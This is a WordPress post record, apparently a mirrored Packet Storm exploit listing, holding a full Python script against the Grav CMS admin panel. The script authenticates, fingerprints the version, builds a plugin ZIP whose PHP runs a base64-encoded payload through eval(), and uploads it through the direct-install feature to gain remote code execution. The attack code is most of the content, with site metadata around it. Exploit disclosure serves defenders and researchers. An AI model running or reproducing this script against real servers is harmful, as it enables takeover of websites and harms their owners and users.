{"id":48971,"date":"2026-04-23T12:50:29","date_gmt":"2026-04-23T12:50:29","guid":{"rendered":"http:\/\/localhost\/?p=48971"},"modified":"2026-04-23T12:50:29","modified_gmt":"2026-04-23T12:50:29","slug":"grav-cms-17495-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=48971","title":{"rendered":"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-23T16:46:30&#8243;,&#8221;description&#8221;:&#8221;This script targets a Grav CMS administrative panel by first authenticating, then checking version information to estimate vulnerability exposure. If conditions are met, it generates a malicious PHP plugin containing a base64-encoded payload and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-23T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-23T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219679&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Grav CMS 1.7.49.5 Admin Plugin Upload Exploit RCE via Malicious PHP Plugin Injection                             |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/github.com\/getgrav\/grav                                                                                  |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This script targets a Grav CMS admin panel by first authenticating, then checking version information to estimate vulnerability exposure. \\n                     If conditions are met, it generates a malicious PHP plugin containing a base64-encoded payload and uploads it as a ZIP package through the \u201cdirect install\u201d feature. \\n                     Once installed, the plugin executes the payload via eval(), leading to remote code execution (RCE) on the server.\\n    \\n    [+] POC        :  \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import re\\n    import zipfile\\n    import io\\n    import os\\n    import sys\\n    import time\\n    from urllib.parse import urljoin\\n    from html.parser import HTMLParser\\n    import random\\n    import string\\n    import base64\\n    \\n    class GravExploit:\\n        def __init__(self, target_url, username, password, payload):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.username = username\\n            self.password = password\\n            self.payload = payload\\n            self.session = requests.Session()\\n            self.plugin_name = None\\n            self.session.verify = False\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0&#8217;\\n            })\\n            \\n        def check_grav_installation(self, html_content):\\n            grav_checks = [\\n                &#8216;data-gpm-grav&#8217; in html_content,\\n                &#8216;data-grav-field&#8217; in html_content,\\n                &#8216;data-grav-disabled&#8217; in html_content,\\n                &#8216;data-grav-default&#8217; in html_content\\n            ]\\n            return sum(grav_checks) \\u003e= 2\\n        \\n        def login_form_present(self, html_content):\\n            return &#8216;name=\\&#8221;data[username]\\&#8221;&#8216; in html_content and &#8216;name=\\&#8221;data[password]\\&#8221;&#8216; in html_content\\n        \\n        def extract_nonce(self, html_content):\\n            nonce_match = re.search(r&#8217;name=\\&#8221;login-nonce\\&#8221;\\\\s+value=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;, html_content)\\n            return nonce_match.group(1) if nonce_match else None\\n        \\n        def extract_admin_nonce(self, html_content):\\n            nonce_match = re.search(r&#8217;name=\\&#8221;admin-nonce\\&#8221;\\\\s+value=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;, html_content)\\n            return nonce_match.group(1) if nonce_match else None\\n        \\n        def extract_versions(self, html_content):\\n            cms_version = None\\n            admin_version = None\\n            \\n            cms_match = re.search(r&#8217;\\u003cspan[^\\u003e]*class=\\&#8221;grav-version\\&#8221;[^\\u003e]*\\u003e([^\\u003c]+)\\u003c\/span\\u003e&#8217;, html_content)\\n            if cms_match:\\n                cms_version = cms_match.group(1).strip().replace(&#8216;v&#8217;, &#8221;)\\n            \\n            admin_match = re.search(r&#8217;Admin v([\\\\d.]+)&#8217;, html_content)\\n            if admin_match:\\n                admin_version = admin_match.group(1)\\n            \\n            return cms_version, admin_version\\n        \\n        def version_compare(self, version, target_version):\\n            if not version:\\n                return False\\n            \\n            def normalize(v):\\n                return [int(x) for x in v.split(&#8216;.&#8217;)]\\n            \\n            try:\\n                return normalize(version) \\u003c= normalize(target_version)\\n            except:\\n                return False\\n        \\n        def check(self):\\n            try:\\n                res = self.session.get(urljoin(self.target_url, &#8216;\/admin&#8217;))\\n                if not res:\\n                    return \\&#8221;Unknown\\&#8221;, \\&#8221;Connection failed\\&#8221;\\n                if res.status_code != 200:\\n                    return \\&#8221;Unknown\\&#8221;, f\\&#8221;Unexpected response code: {res.status_code}\\&#8221;\\n                \\n                if not self.check_grav_installation(res.text):\\n                    return \\&#8221;Safe\\&#8221;, \\&#8221;Target does not appear to be a Grav installation\\&#8221;\\n                \\n                if not self.login_form_present(res.text):\\n                    return \\&#8221;Detected\\&#8221;, \\&#8221;Grav detected but login form not accessible\\&#8221;\\n                \\n                cms_version, admin_version = self.get_versions_after_login()\\n                \\n                if not cms_version:\\n                    return \\&#8221;Detected\\&#8221;, \\&#8221;Grav CMS detected but version could not be determined\\&#8221;\\n                \\n                vuln = False\\n                if self.version_compare(cms_version, \\&#8221;1.7.49.5\\&#8221;) and not self.version_compare(cms_version, \\&#8221;1.0.9\\&#8221;):\\n                    vuln = True\\n                \\n                if admin_version and vuln:\\n                    if self.version_compare(admin_version, \\&#8221;1.10.49.3\\&#8221;) and not self.version_compare(admin_version, \\&#8221;1.0.9\\&#8221;):\\n                        return \\&#8221;Appears\\&#8221;, f\\&#8221;Grav CMS {cms_version} is vulnerable\\\\nAdmin Plugin v{admin_version} is vulnerable\\&#8221;\\n                \\n                if not vuln:\\n                    return \\&#8221;Safe\\&#8221;, f\\&#8221;Grav CMS {cms_version} is not vulnerable\\&#8221;\\n                \\n                return \\&#8221;Safe\\&#8221;, f\\&#8221;Admin Plugin v{admin_version} is not vulnerable\\&#8221;\\n                \\n            except requests.RequestException as e:\\n                return \\&#8221;Unknown\\&#8221;, f\\&#8221;Connection failed: {str(e)}\\&#8221;\\n        \\n        def get_versions_after_login(self):\\n            auth_result = self.authenticate()\\n            if auth_result not in [&#8216;success&#8217;, &#8216;already_authenticated&#8217;]:\\n                return None, None\\n            \\n            res = self.session.get(urljoin(self.target_url, &#8216;\/admin&#8217;))\\n            if not res or res.status_code != 200:\\n                return None, None\\n            \\n            return self.extract_versions(res.text)\\n        \\n        def authenticate(self):\\n            try:\\n                res = self.session.get(urljoin(self.target_url, &#8216;\/admin&#8217;))\\n                if not res or res.status_code != 200:\\n                    return \\&#8221;connection_failed\\&#8221;\\n                \\n                if &#8216;grav-version&#8217; in res.text and &#8216;login-nonce&#8217; not in res.text:\\n                    return \\&#8221;already_authenticated\\&#8221;\\n                \\n                nonce = self.extract_nonce(res.text)\\n                if not nonce:\\n                    return \\&#8221;connection_failed\\&#8221;\\n                \\n                login_data = {\\n                    &#8216;data[username]&#8217;: self.username,\\n                    &#8216;data[password]&#8217;: self.password,\\n                    &#8216;task&#8217;: &#8216;login&#8217;,\\n                    &#8216;login-nonce&#8217;: nonce\\n                }\\n                \\n                res = self.session.post(urljoin(self.target_url, &#8216;\/admin&#8217;), data=login_data)\\n                if not res:\\n                    return \\&#8221;connection_failed\\&#8221;\\n                \\n                if res.status_code in [301, 302, 303]:\\n                    res = self.session.get(urljoin(self.target_url, &#8216;\/admin&#8217;))\\n                    if not res:\\n                        return \\&#8221;connection_failed\\&#8221;\\n                \\n                if &#8216;name=\\&#8221;login-nonce\\&#8221;&#8216; in res.text:\\n                    return \\&#8221;login_failed\\&#8221;\\n                \\n                return \\&#8221;success\\&#8221;\\n                \\n            except requests.RequestException:\\n                return \\&#8221;connection_failed\\&#8221;\\n        \\n        def login(self):\\n            print(\\&#8221;[*] Authenticating&#8230;\\&#8221;)\\n            result = self.authenticate()\\n            \\n            if result == \\&#8221;already_authenticated\\&#8221;:\\n                print(\\&#8221;[+] Already authenticated\\&#8221;)\\n                return True\\n            elif result == \\&#8221;success\\&#8221;:\\n                print(\\&#8221;[+] Login successful\\&#8221;)\\n                return True\\n            elif result == \\&#8221;connection_failed\\&#8221;:\\n                print(\\&#8221;[-] Connection failed\\&#8221;)\\n                return False\\n            elif result == \\&#8221;login_failed\\&#8221;:\\n                print(\\&#8221;[-] Login failed\\&#8221;)\\n                return False\\n            else:\\n                print(\\&#8221;[-] Unexpected authentication error\\&#8221;)\\n                return False\\n        \\n        def generate_php_plugin(self, plugin_name):\\n            b64_payload = base64.b64encode(self.payload.encode()).decode()\\n            class_name = f\\&#8221;{plugin_name.capitalize()}pluginPlugin\\&#8221;\\n            \\n            php_code = f&#8221;&#8217;\\u003c?php\\n    namespace Grav\\\\\\\\Plugin;\\n    use Grav\\\\\\\\Common\\\\\\\\Plugin;\\n    \\n    class {class_name} extends Plugin\\n    {{\\n        public static function getSubscribedEvents()\\n        {{\\n            return [\\n                &#8216;onPagesInitialized&#8217; =\\u003e [&#8216;onPagesInitialized&#8217;, 0]\\n            ];\\n        }}\\n    \\n        public function onPagesInitialized()\\n        {{\\n            @eval(base64_decode(&#8216;{b64_payload}&#8217;));\\n        }}\\n    }}\\n    &#8221;&#8217;\\n            return php_code\\n        \\n        def build_plugin_zip(self, plugin_name):\\n            php_code = self.generate_php_plugin(plugin_name)\\n            \\n            zip_buffer = io.BytesIO()\\n            with zipfile.ZipFile(zip_buffer, &#8216;w&#8217;, zipfile.ZIP_DEFLATED) as zip_file:\\n                zip_file.writestr(f\\&#8221;{plugin_name}plugin\/{plugin_name}plugin.php\\&#8221;, php_code)\\n                zip_file.writestr(f\\&#8221;{plugin_name}plugin\/blueprints.yaml\\&#8221;, \\n                                f\\&#8221;name: {plugin_name.capitalize()}\\\\ntype: plugin\\\\nversion: 1.0.0\\&#8221;)\\n                zip_file.writestr(f\\&#8221;{plugin_name}plugin\/{plugin_name}plugin.yaml\\&#8221;,\\n                                f\\&#8221;enabled: true\\&#8221;)\\n            \\n            return zip_buffer.getvalue()\\n        \\n        def upload_plugin(self, zip_data, plugin_name):\\n            install_uri = urljoin(self.target_url, &#8216;\/admin\/tools\/direct-install&#8217;)\\n            \\n            res = self.session.get(install_uri)\\n            if not res or res.status_code != 200:\\n                print(\\&#8221;[-] Failed to fetch install page\\&#8221;)\\n                return False\\n            \\n            nonce = self.extract_admin_nonce(res.text)\\n            if not nonce:\\n                print(\\&#8221;[-] Could not extract admin nonce\\&#8221;)\\n                return False\\n            \\n            files = {\\n                &#8216;uploaded_file&#8217;: (f'{plugin_name}.zip&#8217;, zip_data, &#8216;application\/zip&#8217;)\\n            }\\n            data = {\\n                &#8216;task&#8217;: &#8216;directInstall&#8217;,\\n                &#8216;admin-nonce&#8217;: nonce\\n            }\\n            \\n            res = self.session.post(install_uri, data=data, files=files)\\n            \\n            if not res:\\n                print(\\&#8221;[-] No response during plugin upload\\&#8221;)\\n                return False\\n            \\n            if res.status_code in [301, 302, 303]:\\n                self.session.get(install_uri)\\n            \\n            return True\\n        \\n        def exploit(self):\\n            print(\\&#8221;[*] Authenticating to Grav admin&#8230;\\&#8221;)\\n            if not self.login():\\n                return False\\n            \\n            plugin_name = (random.choice(string.ascii_lowercase) + \\n                          &#8221;.join(random.choices(string.ascii_lowercase + string.digits, k=17))).lower()\\n            self.plugin_name = plugin_name\\n            \\n            zip_data = self.build_plugin_zip(plugin_name)\\n            \\n            if self.upload_plugin(zip_data, plugin_name):\\n                print(\\&#8221;[+] Plugin uploaded successfully\\&#8221;)\\n                return True\\n            else:\\n                print(\\&#8221;[-] Plugin upload failed\\&#8221;)\\n                return False\\n        \\n        def cleanup(self):\\n            if self.plugin_name:\\n                print(\\&#8221;[!] Manual cleanup may be required\\&#8221;)\\n                return True\\n            return False\\n    \\n    \\n    def main():\\n        if len(sys.argv) != 5:\\n            print(\\&#8221;Usage: python3 grav_exploit.py \\u003ctarget_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e \\u003cpayload\\u003e\\&#8221;)\\n            sys.exit(1)\\n        \\n        target_url = sys.argv[1]\\n        username = sys.argv[2]\\n        password = sys.argv[3]\\n        payload = sys.argv[4]\\n        \\n        import urllib3\\n        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n        \\n        exploit = GravExploit(target_url, username, password, payload)\\n        \\n        print(\\&#8221;[*] Checking if target is vulnerable&#8230;\\&#8221;)\\n        status, message = exploit.check()\\n        \\n        if status == \\&#8221;Appears\\&#8221;:\\n            print(f\\&#8221;[+] {message}\\&#8221;)\\n            if exploit.exploit():\\n                print(\\&#8221;[+] Exploitation completed\\&#8221;)\\n                exploit.cleanup()\\n            else:\\n                print(\\&#8221;[-] Exploitation failed\\&#8221;)\\n        else:\\n            print(f\\&#8221;[-] Target not vulnerable: {message}\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219679&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219679\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-23T16:46:30&#8243;,&#8221;description&#8221;:&#8221;This script targets a Grav CMS administrative panel by first authenticating, then checking version information to estimate vulnerability exposure. If conditions are met, it generates&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-48971","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=48971\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-23T16:46:30&#8243;,&#8221;description&#8221;:&#8221;This script targets a Grav CMS administrative panel by first authenticating, then checking version information to estimate vulnerability exposure. If conditions are met, it generates...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=48971\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-23T12:50:29+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48971#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48971\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679\",\"datePublished\":\"2026-04-23T12:50:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48971\"},\"wordCount\":1682,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=48971#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48971\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48971\",\"name\":\"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-23T12:50:29+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48971#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=48971\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48971#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=48971","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-23T16:46:30&#8243;,&#8221;description&#8221;:&#8221;This script targets a Grav CMS administrative panel by first authenticating, then checking version information to estimate vulnerability exposure. If conditions are met, it generates...","og_url":"https:\/\/zero.redgem.net\/?p=48971","og_site_name":"zero redgem","article_published_time":"2026-04-23T12:50:29+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=48971#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=48971"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679","datePublished":"2026-04-23T12:50:29+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=48971"},"wordCount":1682,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=48971#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=48971","url":"https:\/\/zero.redgem.net\/?p=48971","name":"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-23T12:50:29+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=48971#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=48971"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=48971#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Grav CMS 1.7.49.5 Shell Upload_PACKETSTORM:219679"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/48971","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=48971"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/48971\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=48971"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=48971"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=48971"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}